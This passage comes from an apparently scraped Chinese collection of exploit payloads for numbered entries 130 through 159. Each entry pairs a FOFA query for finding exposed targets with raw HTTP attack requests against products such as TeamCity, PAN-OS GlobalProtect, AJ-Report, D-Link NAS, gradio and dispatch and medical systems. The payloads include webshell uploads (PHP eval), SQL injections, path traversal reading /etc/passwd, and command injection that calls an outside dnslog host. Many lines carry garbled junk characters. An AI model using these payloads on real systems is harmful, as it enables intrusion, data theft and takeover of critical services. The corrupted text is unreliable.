  J/ r  b, W+ U: F, dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
9 R2 {& z- {6 f8 |Accept: */*
6 j1 o& w; o; v) b) X. L! e& _, ?Accept-Encoding: gzip, deflate
Connection: close
6 v' d0 Y9 B/ j# }) B/ n# P% a6 r! G
* ~2 z+ j# \1 S$ Z0 ^
+ A' n  Z& Z& b3 D第二步，读取/etc/passwd文件
0 f' t8 |6 O6 U" {( p, Q1 W4 oGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
9 q7 X* f' u* t8 e; L9 @. hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
. S' }' z/ |/ ?+ e8 b5 [Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
/ }7 r8 n/ N- y  c! q# `, ~uuid: 85f60018-a654-4410-a783-f81cbd5000b9


& A$ y% S+ N7 x* J130. Laykefu客服系统任意文件上传
/ B$ ^% y# t; ^FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
& L  O0 |0 [" C6 u7 Q2 [0 ZUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
% z: [$ }! d* r; h/ e, zContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
1 V" ?! m, w. Z( D9 `Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
, ]- R# C% _$ OConnection: close
2 ?) X* v2 K# a* J) E9 m9 Z/ i5 ^
------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
9 s/ c' I9 i8 e6 |Content-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
" A/ W7 R$ i! u# v- T4 ^+ ]' ~( q. N------WebKitFormBoundary3OCVBiwBVsNuB2kR--
, y+ W7 \; ^( Q$ T8 w
# B2 X9 N6 k; ~) T2 a1 r2 [2 J
131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
: N; M8 p) y7 |2 R" c; Y3 Qhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
2 E, J; l3 s8 ]/ Q
1 P" R6 u4 O3 d6 b: _7 n132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
$ N9 U# S. O' V. f* e2 lCVE-2024-27198
  F: D) G3 R& X7 NFOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
( ]% m: {2 J' Q; L. _3 G" YHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ C2 ^% _2 B$ _  V! U0 {  p* qAccept: */*
  N2 Q" Z4 R6 y/ BContent-Type: application/json
( a! I4 D  x# @. yAccept-Encoding: gzip, deflate
( b1 X, k5 K: `
! |) I- A9 t8 X" \{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
# b. k+ C( R% _/ A! L+ p/ l5 Y# U
' S# S' N# u+ u; Y0 g
CVE-2024-27199
. m7 S4 O$ i  i/ N5 h+ B4 q9 [4 e3 K" O/res/../admin/diagnostic.jsp
8 ?  r1 R' J4 f0 e/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp


$ X1 k7 f. J9 T( ?4 i# SCVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
$ L, G  b( k( p+ p9 jFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
' j( l, k+ X- a- H7 E3 \. CHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
9 j+ I3 @8 f$ |5 kContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

# t9 R8 J) d4 b+ ]3 Q2 _) ]<?php system("cat /etc/passwd");unlink(__FILE__);?>
; M- u9 o5 l& x7 U& o------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
' H+ f# E/ K& O! {) q1 @( L

1 w: b% w9 ?, c2 k; L
134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
( C' o6 r- M7 s: i1 H8 e! `2 ^Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
- T% h- N! T2 s) V' Z1 ^6 `0 q9 rPOST /protocol/index.php HTTP/1.1
) j' x0 d% j# B$ {% v( j' oHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
% Y# E. N% {4 C' WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
2 n6 l! X- A* }; L- T8 k. r9 J1 nAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" h2 e: l6 B: g, ]Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
) H  Y+ K1 y4 l; W+ V5 ]1 vSec-Fetch-Mode: cors
! A$ d3 m- K: x7 L" W5 H2 u; YSec-Fetch-Site: same-origin
0 z$ M$ V" q$ _3 s6 ~3 z, F7 u8 \Te: trailers
* `6 N( Y8 d* |, a4 h  dConnection: close
  o# X+ I8 b! |$ C; B) Q" `9 YContent-Type: application/x-www-form-urlencoded
* v1 x+ S" Z: q# Z+ B! ^; y/ d& R2 AContent-Length: 263
4 D! m1 K' y; ], l. B9 R$ B0 ~9 o
% M- a6 ^0 c( I% o1 y6 njsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


* Z- M% z' S( I! n3 ^8 Q5 u; X5 x135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
. i) \3 U8 B7 ^# ]( b( Q$ u( I9 QCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
( F; |" [+ j2 e" v3 v# KFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
; i0 q+ S* P- X7 l$ {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
" a' F" B4 f8 Z: I7 uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
# B0 k( i# I) n9 m9 v, W4 KAccept-Language: zh-CN,zh;q=0.9
6 d5 ^0 X/ E& w) FConnection: close

' D: `) s/ d3 E2 W' D+ N2 m
5 V- N  ^/ z7 x0 u136. NextChat cors SSRF
2 y! T- P6 C4 RCVE-2023-49785
$ `, i# ~: e4 X! R9 s, u( F* p8 IFOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
* k( `  E& m$ q% E* M0 oAccept-Language: en
Accept-Encoding: gzip

/ D. ]# Q; D( O% v6 }
+ _% G, E3 C; g( q& P137. 福建科立迅通信指挥调度平台down_file.php sql注入
2 g6 Y: C9 V9 T1 ICVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
- C4 k1 v8 X2 ^# b. M- w1 uGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
4 n- w9 X: R7 l  ?- W: KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 P2 ^" g. G1 qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
) x$ O% [7 q) [+ C3 WCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
& Z1 V5 J  s6 vUpgrade-Insecure-Requests: 1
3 I2 C/ L* j! W, c

138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
  z- V( B" i. L7 }9 PCVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
, w9 r( O7 |3 i& mConnection: close
$ m8 @7 l6 B& w! t$ a) OUpgrade-Insecure-Requests: 1

$ a: s1 X7 L4 r$ Z* P) @; }% d! K& e
- q. ?. _  t5 a139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
/ v6 _5 D- }% I7 ~# `2 {GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
! T) @! X2 W9 @. `Host: x.x.x.x
8 f4 D, U) g9 W! {7 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ R- S9 g( h- |  p! \, NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
$ X3 ?: q" K8 S. c; n( ZConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
) S& p4 O) G* `. {0 u+ ?- `Upgrade-Insecure-Requests: 1
( V- c" h+ n; w9 l: h( c  v

6 E" R- w9 N5 O7 W* w, u140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
( r; Z: P' z% |+ `CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
# n$ m6 d( r* r* h/ |+ S) l- FGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
2 b: Y7 {* o# U# ]1 P, m6 b& G: EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 n! c3 p4 Z% b0 p' C* f- W* p: Z2 FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( K; u9 F; W" f$ lAccept-Encoding: gzip, deflate, br
3 M+ t4 K) c: W# pConnection: close
, U4 [4 G3 U, p% _1 l/ p$ vCookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
3 k- f9 H% e3 n1 r+ U0 k4 ?5 N

141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
" D( d; i" a. Q4 n9 kFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
' ?, \4 |( c4 S$ D( |User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded
! ]! B+ y! a. b0 N" I
3 e4 Q9 b1 p: i5 G
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

1 y7 _& c  Z( P" |8 }; q
8 j" d' N: t% i6 G( ?( W5 b142. CMSV6车辆监控平台系统中存在弱密码
2 p2 W, N* P+ P: M* |/ ~" f( X: fCVE-2024-29666
( p; {6 {2 K& d8 W& uFOFA：body="/808gps/"
admin/admin
3 ~& D6 C7 u+ F) K143. Netis WF2780 v2.1.40144 远程命令执行
1 @! e" o2 c. e4 gCVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD

# v- T8 Y3 {6 {144. D-Link nas_sharing.cgi 命令注入
9 B7 U6 \; ]/ P' V" Y! X& gFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
/ T0 |: n/ ]& @+ S# q, ~2 Y/ ]GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
( ~: N0 `* L, H3 M" SUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
# Q1 o& \. v9 C; o8 e9 [Accept: */*
7 P# u) W3 j9 g6 q3 f5 F* V9 nAccept-Language: en
9 B9 x4 w6 M) f2 s+ KAccept-Encoding: gzip

; y' K9 J) S0 k1 i- g1 Z/ m' y
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
" r2 Y$ _$ S" }2 b, sHost: 192.168.30.112:1005
" R/ a$ \1 }: J2 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
' v! c" L1 P0 _* A, [, WConnection: close
& h1 C4 {. E; i1 JCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip


. Q- |% J% E' L8 m1 {& f146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
1 m+ N. H6 z' ?" Y* _& b8 ]  `" WFOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
  C- j1 ]7 @! DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
  s. R5 X" W. u* BAccept-Charset: utf-8
2 T) Y% N5 V- ]* H! }$ T6 h, q5 I6 CAccept-Encoding: gzip, deflate
Connection: close

  X7 [; ]3 h5 |# z% d/ {
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
6 m9 @) h4 q0 v+ x. \, R  H5 ACVE-2024-32399
FOFA：body="RaidenMAILD"
* i9 b4 {* C% \2 \# S2 UGET /webeditor/../../../windows/win.ini HTTP/1.1
2 L8 g9 s6 \; J) i9 J1 EHost: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close


148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
2 C% H. J* \  N; H# a! T" K! ]PAYLOAD

; u7 x# K5 N* K$ s% l0 Y  A149. AJ-Report开源数据大屏存在远程命令执行
' K2 P1 t! e' v$ z, t6 kFOFA：title="AJ-Report"
6 [$ N, R9 P; W0 H8 X
8 j& N3 m( O1 o" @POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
# j  I- |' X: fHost: x.x.x.x
6 K* [; {1 E! `( ^8 N- M0 \) W/ IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
. q3 ]. t2 ^' p5 h, R2 CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! I& c$ ~  b6 m+ A, ?2 oAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
/ k+ v, `+ N& J. L1 }) {Content-Type: application/json;charset=UTF-8
Connection: close

1 r1 n- U" ]  k# R6 f0 H{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
! @# C- r' x4 w) H8 g) R6 B
# s& R5 H+ e7 z3 A5 {150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
1 V# B' _3 f+ yPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
& [2 ]" g- [' a( A! @! iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
8 J) p+ q3 {7 A) gContent-Type: application/json;charset=UTF-8
Connection: close
& x+ }1 }3 W! L3 U* rContent-Length: 339

  A4 ^" g8 p2 N; W{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

- B( p% B4 v! p; }$ |* U
151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
9 L) I7 q9 `# M" A0 _  I  L5 m% SGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
' g) ~/ a# a, V2 x1 k; @( JHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% f( v4 @' s) BConnection: close
6 \( y5 f9 {. ]; m0 LAccept-Encoding: gzip


152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
" h$ g. o+ |- P) _1 P& a5 `# FLoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
- V- U6 D) d+ A3 R- \! fFOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
' a- q, W3 `  ]- m, ]Host: x.x.x.x
; T% R7 e, V% Q* ]" U! l, mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
3 o; A  r8 f/ ~1 R! H) V4 ?Accept: */*
Accept-Language: en
' \% R) k0 ]7 C+ g  _0 T0 d& GAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
; `, {+ n2 Y; M! o! F6 `1 B! MAccept-Encoding: gzip
; Q  p. A" J: a: u$ n( D) A9 s" E

. z  ^5 {3 f& y0 i0 U) x153. gradio任意文件读取
* {1 j1 O5 O7 iCVE-2024-1561FOFA：body="__gradio_mode__"
9 i. O* Z! y. p1 F  ?第一步，请求/config文件获取componets的id
http://x.x.x.x/config
8 h: _3 X3 ~/ ^8 A9 B. Y5 j

- t1 V8 q# Q/ P) U第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
1 `5 v+ T; V4 M5 ^Connection: close
Content-Length: 115
Content-Type: application/json
0 p" C$ H3 P4 ]- t9 s6 pAccept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

, ]( ^% p5 Y& E' f/ ?. U; t8 S
5 X9 ]) W$ w% E4 A$ }; B第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

' d! ]* y8 w' a8 a! C$ A7 s
# g7 f" i) P, y8 e, ~7 \2 m154. 天维尔消防救援作战调度平台 SQL注入
3 n% {# g; W/ F( s! _& `$ NCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
* M( S1 V* q( s: n  f% L# OCache-Control: max-age=0
- t6 [7 V& z3 U- d' zUpgrade-Insecure-Requests: 1
4 _! g. \6 o. n# Y1 X. |5 G$ |Origin: http://x.x.x.x
! i& W4 F) {$ _, T3 ^Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
4 n; W/ j. @- B" NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
! @2 A6 Z$ L9 Z0 B$ L7 oAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
0 ^& \9 l5 u/ k; Y: L
# K5 N8 l7 c, @, f( B3 _{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

6 u0 f$ D- Q9 B" G* Z& s
155. 六零导航页 file.php 任意文件上传
  j$ R) H7 v3 T9 B" d5 |, ACVE-2024-34982
  l/ _' Q: K. t* x$ ]6 |+ fFOFA：title=="上网导航 - LyLme Spage"
6 n4 b* F: u8 r" SPOST /include/file.php HTTP/1.1
5 O5 z; v% `3 zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
4 n$ ?& D4 s4 IConnection: close
Content-Length: 232
7 X: H: H( g# r: f- M/ TAccept: application/json, text/javascript, */*; q=0.01
* Y! e) e% d+ K5 X, ?4 m! D$ B- BAccept-Encoding: gzip, deflate, br
- l1 x& z9 }7 k( W# NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest

! ^- c$ d$ ^0 |0 M-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
) e+ b( s* p/ l
+ g( t0 F' w" q- D# W8 e0 D* N% d+ t<?php phpinfo();unlink(__FILE__);?>
. V6 D& r) \7 c6 i% w-----------------------------qttl7vemrsold314zg0f--


& i5 ^0 T' e6 N8 H8 N4 p; c& ~访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
; z( m3 y% W' N0 q( U* T1 N: m2 c
# a, K& f9 ]8 j& u4 {& ~156. TBK DVR-4104/DVR-4216 操作系统命令注入
) U% M; \: n5 _; e, ~CVE-2024-3721
FOFA："Location: /login.rsp"
) @$ h9 W& _, S: \% @  ]( W·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
3 Q' F( U0 i1 N$ d: ~

; N" m1 w- t8 M3 u/ {# \POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
0 w; }/ R9 T5 p5 EHost: x.x.x.x
2 b: d+ s) v" o6 F6 `' B+ [6 AUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 r% s6 z' ~9 A$ E% r! a1 F# XConnection: close
Content-Length: 0
Cookie: uid=1
8 V; m3 q! }; o' h; SAccept-Encoding: gzip
9 ]: o" k$ A9 z) U5 Q! g" E# G
& V" h9 b6 X) B' I% v) m7 M
157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
+ T8 G" i2 y  D( S  @POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
( `7 S0 S/ o/ Z. A7 r8 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
8 A9 j) f/ X. X5 aAccept-Language: zh-CN,zh;q=0.9
2 Q8 |5 Z/ q7 u% w3 i" XCache-Control: max-age=0
9 D4 n) u; M: e9 _  Q% R! AConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
! [8 D' J3 H4 E7 }: c  U% w
------WebKitFormBoundary1imovELzPsfzp5dN
, N/ V! R# g$ ]4 C& |4 IContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
/ |" |1 F, g1 y1 A1 ?7 OContent-Type: application/octet-stream
9 h8 @' }; U- m& S" y! f7 o
" V0 Y. h* I' w- f* I" M6 unyhelxrutzwhrsvsrafb
8 D8 b' c/ ^3 c1 L* G------WebKitFormBoundary1imovELzPsfzp5dN
* b0 F, [2 c4 M, U& J3 eContent-Disposition: form-data; name="key"
* |" k9 V# z; n5 c
null
  a* _% K* B: `; w/ B9 T4 K2 m------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"
6 J# e" |3 v+ X+ D- D1 L
null
------WebKitFormBoundary1imovELzPsfzp5dN
2 H3 A3 }- v% ]- UContent-Disposition: form-data; name="field"

! i& O3 A) x1 b# `* Y' j4 pnull
------WebKitFormBoundary1imovELzPsfzp5dN
. V+ N- Y$ j4 ~) h& eContent-Disposition: form-data; name="filetitile"

: E, z% _8 w$ y" N3 y# S$ B+ ]null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

null
------WebKitFormBoundary1imovELzPsfzp5dN--
3 `) y7 L( `7 L- [5 w

http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
2 v; v% Y# n) v; ^! Q
5 x/ O- T/ U* D& }6 w8 J158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
1 G  _4 \, @6 [" I  i. [2 f% {POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
) i1 ?7 A+ N6 H, J; n/ L; K+ zContent-Type: application/x-www-form-urlencoded
: t7 W* A( W3 L9 k- P/ r: n
object=displayregion&contenthistid=x\'&previewid=1

' n) h. W  @% D0 t, k; d  h5 p
( [! b; ]- n& F3 M8 K  U$ D159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
( j8 g/ Z3 u5 O1 z) _; b/ rPOST /webservices/WebJobUpload.asmx HTTP/1.1
' o! B6 g+ W$ Q! i0 i$ c: ^Host: x.x.x.x
